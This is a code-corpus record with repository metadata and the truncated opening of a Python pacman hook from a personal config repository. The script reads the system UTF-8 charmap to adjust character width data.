f3347fc64b9df518214370907ad199782662a729 | 0b9fdbb0c6e2cba0a89a9a9487584fed8024f737 | /etc/pacman.d/hooks/update-charmaps-UTF-8.py | 21050b1469b5ed112de463846bd61f4ef77491f9 | [] | no_license | MaskRay/Config | 0aca02be5f3846c4094c8e31975a504f884924a4 | c5017bb4116071ae879dc67758130468f4da7775 | refs/heads/master | 2023-08-17T00:11:26.782184 | 2023-08-16T21:15:04 | 2023-08-16T21:15:04 | 2,502,286 | 232 | 53 | null | 2022-02-12T09:18:36 | 2011-10-03T02:18:54 | Emacs Lisp | UTF-8 | Python | false | false | 2,164 | py | #!/usr/bin/env python3
import gzip, re, subprocess
def encode(x):
return '<U{:08X}>'.format(x)
width = {}
mx = 0
is_width = False
# read original width information from charmaps/UTF-8
with gzip.open('/usr/share/i18n/charmaps/UTF-8.gz') as f:
lines = f.read().decode().splitlines()
for line in lines:
... | [
"i@maskray.me"
] | i@maskray.me |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.